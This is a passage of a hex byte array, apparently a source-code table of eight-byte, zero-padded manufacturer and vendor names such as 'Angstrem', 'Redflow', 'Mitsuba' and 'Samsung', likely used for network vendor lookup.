0x6c, 0x54,\r\n0x41, 0x6e, 0x67, 0x73, 0x74, 0x72, 0x65, 0x6d,\r\n0x59, 0x6f, 0x64, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x6c, 0x6f, 0x6e, 0x67, 0x49, 0x6e, 0x64,\r\n0x52, 0x65, 0x64, 0x66, 0x6c, 0x6f, 0x77, 0x00,\r\n0x4f, 0x62, 0x6a, 0x65, 0x74, 0x69, 0x76, 0x6f,\r\n0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x70,\r\n0x47, 0x65, 0x6f, 0x66, 0x72, 0x65, 0x6e, 0x7a,\r\n0x49, 0x70, 0x61, 0x73, 0x73, 0x00, 0x00, 0x00,\r\n0x4f, 0x70, 0x65, 0x6e, 0x43, 0x6f, 0x6e, 0x6e,\r\n0x32, 0x35, 0x67, 0x45, 0x74, 0x68, 0x65, 0x72,\r\n0x52, 0x62, 0x68, 0x41, 0x63, 0x63, 0x65, 0x73,\r\n0x45, 0x74, 0x68, 0x65, 0x72, 0x74, 0x72, 0x6f,\r\n0x47, 0x65, 0x6d, 0x61, 0x74, 0x69, 0x63, 0x61,\r\n0x44, 0x69, 0x67, 0x69, 0x71, 0x75, 0x65, 0x73,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x58,\r\n0x4a, 0x64, 0x63, 0x54, 0x65, 0x63, 0x68, 0x00,\r\n0x45, 0x72, 0x68, 0x61, 0x72, 0x64, 0x74, 0x2b,\r\n0x4e, 0x61, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x53, 0x68, 0x6f, 0x74, 0x74, 0x72, 0x61, 0x63,\r\n0x44, 0x65, 0x63, 0x61, 0x74, 0x75, 0x72, 0x45,\r\n0x48, 0x61, 0x6e, 0x73, 0x6f, 0x6c, 0x54, 0x65,\r\n0x41, 0x69, 0x6e, 0x73, 0x77, 0x6f, 0x72, 0x74,\r\n0x4f, 0x6f, 0x6f, 0x4e, 0x70, 0x70, 0x53, 0x79,\r\n0x41, 0x63, 0x63, 0x65, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x42, 0x26, 0x42, 0x45, 0x78, 0x70, 0x6f, 0x72,\r\n0x49, 0x6e, 0x64, 0x69, 0x65, 0x6f, 0x6e, 0x54,\r\n0x4d, 0x61, 0x67, 0x69, 0x63, 0x6a, 0x61, 0x63,\r\n0x4d, 0x61, 0x72, 0x6b, 0x69, 0x6e, 0x67, 0x53,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x68, 0x61, 0x77,\r\n0x4b, 0x65, 0x4b, 0x6e, 0x65, 0x73, 0x74, 0x65,\r\n0x4e, 0x69, 0x6d, 0x62, 0x75, 0x73, 0x44, 0x61,\r\n0x5a, 0x61, 0x70, 0x70, 0x77, 0x61, 0x72, 0x65,\r\n0x41, 0x6e, 0x74, 0x65, 0x78, 0x45, 0x6c, 0x65,\r\n0x4f, 0x32, 0x6f, 0x6e, 0x65, 0x73, 0x00, 0x00,\r\n0x42, 0x69, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x6f, 0x73, 0x73, 0x6c, 0x6f, 0x68, 0x2d,\r\n0x54, 0x68, 0x69, 0x72, 0x64, 0x4d, 0x69, 0x6c,\r\n0x4c, 0x61, 0x6d, 0x70, 0x65, 0x78, 0x45, 0x6c,\r\n0x41, 0x63, 0x6c, 0x69, 0x6d, 0x61, 0x00, 0x00,\r\n0x53, 0x75, 0x6e, 0x72, 0x65, 0x70, 0x6f, 0x72,\r\n0x5a, 0x68, 0x69, 0x59, 0x75, 0x61, 0x6e, 0x45,\r\n0x52, 0x69, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x48,\r\n0x50, 0x65, 0x6e, 0x67, 0x75, 0x69, 0x6e, 0x43,\r\n0x43, 0x6f, 0x72, 0x65, 0x4c, 0x6f, 0x67, 0x69,\r\n0x53, 0x74, 0x65, 0x72, 0x65, 0x6f, 0x74, 0x61,\r\n0x4e, 0x6f, 0x76, 0x61, 0x72, 0x00, 0x00, 0x00,\r\n0x45, 0x7a, 0x65, 0x6c, 0x69, 0x6e, 0x6b, 0x54,\r\n0x4d, 0x69, 0x74, 0x73, 0x75, 0x62, 0x61, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6e, 0x69,\r\n0x4f, 0x74, 0x75, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x61, 0x6e, 0x6c, 0x6f, 0x67, 0x69, 0x63,\r\n0x49, 0x6e, 0x73, 0x70, 0x75, 0x72, 0x45, 0x6c,\r\n0x59, 0x61, 0x6f, 0x6a, 0x69, 0x6e, 0x54, 0x65,\r\n0x53, 0x63, 0x61, 0x6c, 0x79, 0x73, 0x00, 0x00,\r\n0x56, 0x61, 0x6c, 0x65, 0x6e, 0x74, 0x69, 0x6e,\r\n0x4e, 0x69, 0x6d, 0x62, 0x6c, 0x65, 0x53, 0x74,\r\n0x45, 0x64, 0x61, 0x6d, 0x49, 0x6e, 0x66, 0x6f,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x61, 0x63,\r\n0x56, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x78, 0x00,\r\n0x48, 0x75, 0x62, 0x62, 0x65, 0x6c, 0x6c, 0x42,\r\n0x4b, 0x7a, 0x42, 0x72, 0x6f, 0x61, 0x64, 0x62,\r\n0x57, 0x65, 0x62, 0x61, 0x73, 0x74, 0x6f, 0x53,\r\n0x53, 0x6f, 0x6e, 0x79, 0x56, 0x69, 0x64, 0x65,\r\n0x41, 0x6e, 0x68, 0x75, 0x69, 0x43, 0x6f, 0x6d,\r\n0x4c, 0x61, 0x6e, 0x64, 0x61, 0x75, 0x65, 0x72,\r\n0x44, 0x69, 0x76, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x4e, 0x6f, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x48, 0x61,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x6b, 0x44,\r\n0x57, 0x69, 0x6e, 0x67, 0x53, 0x69, 0x6e, 0x67,\r\n0x50, 0x72, 0x6f, 0x6d, 0x65, 0x74, 0x68, 0x65,\r\n0x4d, 0x6f, 0x64, 0x63, 0x61, 0x6d, 0x00, 0x00,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x34, 0x00, 0x00,\r\n0x4e, 0x65, 0x72, 0x61, 0x54, 0x65, 0x6c, 0x65,\r\n0x56, 0x69, 0x6c, 0x6c, 0x69, 0x67, 0x65, 0x72,\r\n0x47, 0x61, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x00,\r\n0x4d, 0x6f, 0x6f, 0x72, 0x65, 0x64, 0x6f, 0x6c,\r\n0x4e, 0x61, 0x6e, 0x6f, 0x70, 0x74, 0x69, 0x78,\r\n0x4d, 0x70, 0x62, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x46, 0x61, 0x74, 0x65, 0x6b, 0x41, 0x75, 0x74,\r\n0x30, 0x31, 0x64, 0x62, 0x2d, 0x4d, 0x65, 0x74,\r\n0x45, 0x61, 0x73, 0x74, 0x63, 0x6f, 0x6d, 0x70,\r\n0x44, 0x65, 0x77, 0x61, 0x76, 0x54, 0x65, 0x63,\r\n0x50, 0x6f, 0x69, 0x6e, 0x64, 0x75, 0x73, 0x00,\r\n0x4d, 0x75, 0x73, 0x69, 0x63, 0x4c, 0x69, 0x66,\r\n0x4c, 0x69, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74,\r\n0x45, 0x74, 0x68, 0x65, 0x72, 0x63, 0x61, 0x74,\r\n0x41, 0x64, 0x76, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x39, 0x39, 0x69, 0x6f, 0x74, 0x53, 0x68, 0x65,\r\n0x43, 0x6f, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x54,\r\n0x46, 0x6f, 0x73, 0x34, 0x78, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x6e, 0x79, 0x56, 0x69, 0x73, 0x75,\r\n0x45, 0x70, 0x73, 0x70, 0x6f, 0x74, 0x00, 0x00,\r\n0x45, 0x2d, 0x44, 0x6f, 0x6d, 0x75, 0x73, 0x49,\r\n0x49, 0x34, 0x63, 0x49, 0x6e, 0x6e, 0x6f, 0x76,\r\n0x4e, 0x65, 0x77, 0x69, 0x6e, 0x67, 0x73, 0x43,\r\n0x50, 0x6f, 0x6c, 0x79, 0x76, 0x69, 0x73, 0x69,\r\n0x41, 0x61, 0x76, 0x61, 0x4d, 0x6f, 0x62, 0x69,\r\n0x41, 0x63, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x74, 0x68, 0x65, 0x6e, 0x61, 0x57, 0x69,\r\n0x4c, 0x6f, 0x77, 0x54, 0x65, 0x63, 0x68, 0x53,\r\n0x53, 0x65, 0x61, 0x77, 0x69, 0x6e, 0x67, 0x4b,\r\n0x45, 0x64, 0x77, 0x61, 0x72, 0x64, 0x73, 0x4c,\r\n0x43, 0x68, 0x79, 0x6e, 0x67, 0x48, 0x6f, 0x6e,\r\n0x58, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x46,\r\n0x52, 0x69, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x6d,\r\n0x54, 0x6d, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x77, 0x61, 0x6e, 0x67, 0x77, 0x6f, 0x6e,\r\n0x41, 0x6c, 0x66, 0x61, 0x49, 0x6e, 0x73, 0x74,\r\n0x43, 0x65, 0x72, 0x65, 0x62, 0x72, 0x61, 0x73,\r\n0x49, 0x6e, 0x73, 0x68, 0x6f, 0x77, 0x54, 0x65,\r\n0x4d, 0x65, 0x64, 0x61, 0x6c, 0x6c, 0x69, 0x6f,\r\n0x4f, 0x6f, 0x6f, 0x54, 0x74, 0x76, 0x00, 0x00,\r\n0x4d, 0x32, 0x63, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x4b, 0x6f, 0x6e, 0x61, 0x6d, 0x69, 0x47, 0x61,\r\n0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x61,\r\n0x4c, 0x61, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e,\r\n0x43, 0x61, 0x6c, 0x61, 0x6e, 0x74, 0x65, 0x63,\r\n0x4f, 0x72, 0x62, 0x69, 0x73, 0x54, 0x65, 0x63,\r\n0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x48, 0x61,\r\n0x4b, 0x61, 0x6e, 0x64, 0x61, 0x6f, 0x4c, 0x69,\r\n0x53, 0x6f, 0x6e, 0x6f, 0x76, 0x61, 0x00, 0x00,\r\n0x53, 0x61, 0x69, 0x6a, 0x6f, 0x44, 0x65, 0x6e,\r\n0x57, 0x69, 0x66, 0x69, 0x2d, 0x53, 0x6f, 0x66,\r\n0x50, 0x75, 0x72, 0x70, 0x6c, 0x65, 0x43, 0x6f,\r\n0x42, 0x72, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x00,\r\n0x4f, 0x78, 0x79, 0x67, 0x75, 0x61, 0x72, 0x64,\r\n0x4c, 0x65, 0x76, 0x65, 0x6c, 0x6f, 0x6e, 0x65,\r\n0x4b, 0x65, 0x72, 0x6c, 0x69, 0x6e, 0x6b, 0x00,\r\n0x57, 0x75, 0x78, 0x69, 0x5a, 0x68, 0x61, 0x6e,\r\n0x41, 0x64, 0x61, 0x74, 0x61, 0x54, 0x65, 0x63,\r\n0x4e, 0x61, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x41, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x4f, 0x6c, 0x65, 0x75, 0x6d, 0x74, 0x65, 0x63,\r\n0x43, 0x69, 0x74, 0x79, 0x67, 0x72, 0x6f, 0x77,\r\n0x57, 0x65, 0x62, 0x65, 0x72, 0x2d, 0x53, 0x74,\r\n0x53, 0x70, 0x61, 0x63, 0x65, 0x4d, 0x6f, 0x6e,\r\n0x48, 0x61, 0x70, 0x70, 0x79, 0x65, 0x6c, 0x65,\r\n0x49, 0x74, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x49,\r\n0x42, 0x72, 0x79, 0x74, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4e, 0x65, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x58, 0x36, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x65, 0x6e, 0x64, 0x73, 0x65, 0x74,\r\n0x50, 0x72, 0x6f, 0x78, 0x44, 0x79, 0x6e, 0x61,\r\n0x4d, 0x6f, 0x6e, 0x61, 0x64, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x6c, 0x76, 0x65, 0x72, 0x6e, 0x49,\r\n0x4e, 0x69, 0x73, 0x68, 0x69, 0x79, 0x61, 0x6d,\r\n0x53, 0x68, 0x65, 0x6e, 0x6f, 0x75, 0x43, 0x6f,\r\n0x48, 0x69, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x53,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x4d,\r\n0x42, 0x6f, 0x73, 0x63, 0x68, 0x41, 0x75, 0x74,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x53, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x72, 0x65, 0x70, 0x61, 0x73, 0x4f,\r\n0x53, 0x63, 0x61, 0x6c, 0x61, 0x72, 0x00, 0x00,\r\n0x57, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x72, 0x65,\r\n0x4d, 0x65, 0x74, 0x72, 0x75, 0x6d, 0x54, 0x65,\r\n0x55, 0x70, 0x6f, 0x73, 0x53, 0x79, 0x73, 0x74,\r\n0x54, 0x65, 0x63, 0x73, 0x65, 0x6e, 0x00, 0x00,\r\n0x46, 0x61, 0x69, 0x57, 0x61, 0x68, 0x49, 0x6e,\r\n0x48, 0x6f, 0x6e, 0x67, 0x79, 0x75, 0x43, 0x6f,\r\n0x33, 0x76, 0x69, 0x65, 0x77, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x65, 0x49, 0x74, 0x2d, 0x53, 0x79,\r\n0x4e, 0x65, 0x74, 0x61, 0x74, 0x6d, 0x6f, 0x00,\r\n0x45, 0x6f, 0x70, 0x74, 0x6f, 0x6c, 0x69, 0x6e,\r\n0x44, 0x61, 0x74, 0x61, 0x4d, 0x6f, 0x64, 0x75,\r\n0x58, 0x65, 0x74, 0x61, 0x77, 0x61, 0x76, 0x65,\r\n0x43, 0x68, 0x65, 0x65, 0x72, 0x7a, 0x69, 0x6e,\r\n0x4f, 0x70, 0x74, 0x6f, 0x77, 0x69, 0x7a, 0x00,\r\n0x53, 0x72, 0x74, 0x57, 0x69, 0x72, 0x65, 0x6c,\r\n0x54, 0x72, 0x69, 0x2d, 0x53, 0x65, 0x6e, 0x00,\r\n0x43, 0x68, 0x61, 0x6e, 0x67, 0x79, 0x61, 0x6e,\r\n0x4d, 0x61, 0x79, 0x66, 0x69, 0x65, 0x6c, 0x64,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x64, 0x61,\r\n0x4e, 0x6f, 0x72, 0x66, 0x6f, 0x6c, 0x6b, 0x45,\r\n0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x70, 0x61,\r\n0x4e, 0x74, 0x2d, 0x57, 0x61, 0x72, 0x65, 0x53,\r\n0x54, 0x6f, 0x6e, 0x67, 0x66, 0x61, 0x6e, 0x67,\r\n0x55, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x41, 0x6e, 0x6e, 0x61, 0x78, 0x41, 0x6e, 0x7a,\r\n0x47, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x63, 0x65,\r\n0x45, 0x78, 0x70, 0x6c, 0x6f, 0x72, 0x65, 0x72,\r\n0x41, 0x72, 0x72, 0x69, 0x76, 0x65, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x65, 0x6e, 0x00,\r\n0x47, 0x6e, 0x41, 0x75, 0x64, 0x69, 0x6f, 0x00,\r\n0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x53,\r\n0x54, 0x73, 0x6c, 0x50, 0x70, 0x6c, 0x00, 0x00,\r\n0x56, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x74, 0x6c, 0x69, 0x6e, 0x6b, 0x73, 0x00,\r\n0x54, 0x3a, 0x4d, 0x69, 0x59, 0x74, 0x74, 0x69,\r\n0x41, 0x70, 0x65, 0x72, 0x69, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x7a, 0x6f, 0x6c, 0x74, 0x00, 0x00,\r\n0x56, 0x73, 0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e,\r\n0x4d, 0x6f, 0x76, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x41, 0x73, 0x69, 0x61, 0x56, 0x69, 0x74, 0x61,\r\n0x49, 0x63, 0x61, 0x72, 0x76, 0x69, 0x73, 0x69,\r\n0x45, 0x64, 0x69, 0x73, 0x6f, 0x6e, 0x4c, 0x61,\r\n0x43, 0x68, 0x69, 0x70, 0x73, 0x69, 0x70, 0x54,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x64, 0x69, 0x67,\r\n0x4a, 0x75, 0x72, 0x75, 0x6d, 0x61, 0x6e, 0x69,\r\n0x45, 0x74, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x69, 0x77, 0x65, 0x69, 0x43, 0x6f,\r\n0x52, 0x65, 0x64, 0x45, 0x6d, 0x62, 0x65, 0x64,\r\n0x50, 0x74, 0x48, 0x61, 0x72, 0x74, 0x6f, 0x6e,\r\n0x4f, 0x63, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4b, 0x6f, 0x72, 0x65, 0x61, 0x49, 0x6d, 0x61,\r\n0x42, 0x65, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x69, 0x6d,\r\n0x4d, 0x65, 0x6e, 0x4d, 0x69, 0x6b, 0x72, 0x6f,\r\n0x52, 0x65, 0x6e, 0x65, 0x73, 0x61, 0x73, 0x45,\r\n0x46, 0x6f, 0x75, 0x72, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x67, 0x6a, 0x75, 0x6e, 0x63, 0x74, 0x69,\r\n0x54, 0x6f, 0x64, 0x61, 0x61, 0x69, 0x72, 0x45,\r\n0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x44,\r\n0x4b, 0x6f, 0x64, 0x61, 0x63, 0x6c, 0x6f, 0x75,\r\n0x5a, 0x69, 0x6d, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x51, 0x72, 0x73, 0x4d, 0x75, 0x73, 0x69, 0x63,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x6c, 0x65, 0x61,\r\n0x49, 0x6e, 0x6f, 0x76, 0x6f, 0x42, 0x72, 0x6f,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x56,\r\n0x43, 0x69, 0x65, 0x73, 0x73, 0x65, 0x00, 0x00,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x42,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x63, 0x6f, 0x6e, 0x6e,\r\n0x48, 0x79, 0x75, 0x6e, 0x74, 0x65, 0x63, 0x6b,\r\n0x4e, 0x75, 0x73, 0x6f, 0x66, 0x74, 0x00, 0x00,\r\n0x43, 0x61, 0x6c, 0x78, 0x65, 0x64, 0x61, 0x00,\r\n0x53, 0x6d, 0x69, 0x74, 0x68, 0x4d, 0x79, 0x65,\r\n0x57, 0x79, 0x6d, 0x61, 0x54, 0x65, 0x63, 0x6e,\r\n0x45, 0x76, 0x72, 0x69, 0x73, 0x6b, 0x6f, 0x00,\r\n0x45, 0x62, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x72, 0x67, 0x6f, 0x70, 0x68, 0x6f, 0x6e,\r\n0x56, 0x69, 0x7a, 0x6d, 0x6f, 0x6e, 0x65, 0x74,\r\n0x41, 0x70, 0x69, 0x73, 0x74, 0x65, 0x00, 0x00,\r\n0x52, 0x61, 0x64, 0x73, 0x70, 0x69, 0x6e, 0x00,\r\n0x41, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x00, 0x00,\r\n0x42, 0x6e, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x78, 0x77, 0x65, 0x6c, 0x6c, 0x46,\r\n0x4e, 0x65, 0x75, 0x72, 0x6f, 0x6e, 0x52, 0x6f,\r\n0x4f, 0x6e, 0x66, 0x61, 0x63, 0x65, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x70, 0x61, 0x6c,\r\n0x57, 0x72, 0x65, 0x6e, 0x53, 0x6f, 0x75, 0x6e,\r\n0x51, 0x75, 0x65, 0x63, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x5a, 0x55, 0x4b, 0x45, 0x6c, 0x7a, 0x61, 0x62,\r\n0x42, 0x61, 0x6f, 0x66, 0x65, 0x6e, 0x67, 0x54,\r\n0x4e, 0x62, 0x73, 0x50, 0x61, 0x79, 0x6d, 0x65,\r\n0x4f, 0x72, 0x61, 0x6e, 0x74, 0x65, 0x6b, 0x00,\r\n0x4a, 0x61, 0x62, 0x69, 0x6c, 0x00, 0x00, 0x00,\r\n0x49, 0x64, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x41, 0x66, 0x66, 0x69, 0x72, 0x6d, 0x65, 0x64,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x6d, 0x61, 0x00, 0x00,\r\n0x4c, 0x65, 0x6f, 0x49, 0x6e, 0x6e, 0x6f, 0x76,\r\n0x53, 0x74, 0x65, 0x70, 0x68, 0x65, 0x6e, 0x54,\r\n0x55, 0x6c, 0x74, 0x72, 0x61, 0x63, 0x6c, 0x65,\r\n0x4b, 0x61, 0x69, 0x2d, 0x45, 0x65, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x6e, 0x65, 0x74, 0x52, 0x65,\r\n0x45, 0x61, 0x73, 0x79, 0x73, 0x79, 0x6e, 0x63,\r\n0x46, 0x75, 0x6a, 0x69, 0x74, 0x75, 0x48, 0x6f,\r\n0x42, 0x69, 0x61, 0x6d, 0x70, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x6c, 0x6c, 0x2d, 0x42, 0x75, 0x72,\r\n0x46, 0x52, 0x6f, 0x62, 0x6f, 0x74, 0x69, 0x63,\r\n0x4c, 0x69, 0x76, 0x65, 0x75, 0x00, 0x00, 0x00,\r\n0x53, 0x68, 0x69, 0x66, 0x74, 0x00, 0x00, 0x00,\r\n0x52, 0x6f, 0x78, 0x74, 0x6f, 0x6e, 0x00, 0x00,\r\n0x53, 0x61, 0x6e, 0x6b, 0x79, 0x75, 0x65, 0x6c,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x49, 0x6e,\r\n0x56, 0x61, 0x63, 0x68, 0x65, 0x6e, 0x00, 0x00,\r\n0x52, 0x61, 0x66, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x69, 0x6d, 0x65, 0x4d, 0x6f, 0x74,\r\n0x48, 0x69, 0x6f, 0x73, 0x6f, 0x54, 0x65, 0x63,\r\n0x41, 0x72, 0x67, 0x6f, 0x78, 0x49, 0x6e, 0x66,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x4d, 0x6f, 0x74,\r\n0x5a, 0x74, 0x65, 0x63, 0x49, 0x6e, 0x73, 0x74,\r\n0x47, 0x69, 0x6b, 0x4d, 0x62, 0x68, 0x00, 0x00,\r\n0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x52, 0x61,\r\n0x49, 0x6e, 0x64, 0x72, 0x61, 0x45, 0x73, 0x70,\r\n0x55, 0x6e, 0x69, 0x66, 0x69, 0x65, 0x64, 0x67,\r\n0x43, 0x64, 0x72, 0x53, 0x70, 0x5a, 0x4f, 0x4f,\r\n0x43, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x61, 0x6e, 0x64, 0x61, 0x72, 0x54,\r\n0x49, 0x6e, 0x64, 0x79, 0x6d, 0x65, 0x53, 0x6f,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x53,\r\n0x51, 0x39, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72,\r\n0x4e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x7a, 0x54,\r\n0x4d, 0x75, 0x73, 0x69, 0x6c, 0x61, 0x62, 0x45,\r\n0x4d, 0x65, 0x64, 0x69, 0x6c, 0x69, 0x6e, 0x65,\r\n0x41, 0x75, 0x67, 0x75, 0x73, 0x74, 0x48, 0x6f,\r\n0x48, 0x6f, 0x65, 0x72, 0x62, 0x69, 0x67, 0x65,\r\n0x49, 0x69, 0x6e, 0x65, 0x74, 0x4c, 0x61, 0x62,\r\n0x41, 0x64, 0x76, 0x69, 0x64, 0x69, 0x61, 0x00,\r\n0x50, 0x72, 0x65, 0x63, 0x69, 0x64, 0x61, 0x74,\r\n0x44, 0x61, 0x65, 0x79, 0x65, 0x6f, 0x6e, 0x43,\r\n0x41, 0x6d, 0x70, 0x68, 0x65, 0x6e, 0x6f, 0x6c,\r\n0x41, 0x62, 0x62, 0x41, 0x75, 0x73, 0x74, 0x72,\r\n0x49, 0x67, 0x6e, 0x65, 0x6f, 0x75, 0x73, 0x00,\r\n0x46, 0x61, 0x72, 0x53, 0x6f, 0x75, 0x74, 0x68,\r\n0x47, 0x69, 0x6d, 0x61, 0x73, 0x69, 0x53, 0x61,\r\n0x43, 0x6f, 0x6d, 0x61, 0x75, 0x53, 0x50, 0x41,\r\n0x45, 0x76, 0x65, 0x72, 0x54, 0x72, 0x65, 0x61,\r\n0x41, 0x6f, 0x62, 0x6f, 0x54, 0x65, 0x6c, 0x65,\r\n0x53, 0x63, 0x75, 0x66, 0x47, 0x61, 0x6d, 0x69,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x53, 0x61, 0x6c,\r\n0x53, 0x68, 0x69, 0x6e, 0x79, 0x62, 0x6f, 0x77,\r\n0x45, 0x6e, 0x68, 0x61, 0x6e, 0x63, 0x65, 0x64,\r\n0x53, 0x74, 0x75, 0x6c, 0x7a, 0x00, 0x00, 0x00,\r\n0x48, 0x26, 0x44, 0x57, 0x69, 0x72, 0x65, 0x6c,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x73, 0x69,\r\n0x45, 0x6c, 0x6e, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x68, 0x63, 0x53, 0x6f, 0x66, 0x74, 0x77,\r\n0x4e, 0x65, 0x6f, 0x75, 0x73, 0x79, 0x73, 0x54,\r\n0x56, 0x69, 0x63, 0x6f, 0x73, 0x00, 0x00, 0x00,\r\n0x50, 0x61, 0x63, 0x65, 0x2d, 0x4f, 0x2d, 0x4d,\r\n0x4e, 0x61, 0x76, 0x69, 0x65, 0x6c, 0x65, 0x6b,\r\n0x41, 0x72, 0x69, 0x73, 0x74, 0x6f, 0x63, 0x72,\r\n0x4e, 0x75, 0x63, 0x6f, 0x6d, 0x48, 0x6b, 0x00,\r\n0x47, 0x62, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x43, 0x2d, 0x53, 0x63, 0x61, 0x70, 0x65, 0x00,\r\n0x52, 0x61, 0x69, 0x6e, 0x75, 0x73, 0x00, 0x00,\r\n0x4b, 0x79, 0x6c, 0x61, 0x6e, 0x64, 0x2d, 0x55,\r\n0x55, 0x6e, 0x65, 0x74, 0x63, 0x6f, 0x6e, 0x76,\r\n0x42, 0x65, 0x67, 0x61, 0x47, 0x61, 0x6e, 0x74,\r\n0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x62, 0x72,\r\n0x46, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x5a, 0x6f,\r\n0x53, 0x6f, 0x63, 0x75, 0x73, 0x4e, 0x65, 0x74,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x73, 0x74, 0x6f, 0x72,\r\n0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x00,\r\n0x52, 0x6f, 0x73, 0x65, 0x6e, 0x62, 0x65, 0x72,\r\n0x43, 0x75, 0x72, 0x74, 0x69, 0x73, 0x49, 0x6e,\r\n0x52, 0x61, 0x66, 0x61, 0x65, 0x6c, 0x00, 0x00,\r\n0x42, 0x65, 0x6b, 0x65, 0x79, 0x00, 0x00, 0x00,\r\n0x4a, 0x2d, 0x4d, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x51, 0x69, 0x61, 0x6e, 0x74, 0x61, 0x6e, 0x67,\r\n0x44, 0x61, 0x6d, 0x61, 0x6c, 0x6c, 0x54, 0x65,\r\n0x53, 0x61, 0x69, 0x61, 0x2d, 0x42, 0x75, 0x72,\r\n0x45, 0x2d, 0x54, 0x72, 0x6f, 0x6e, 0x00, 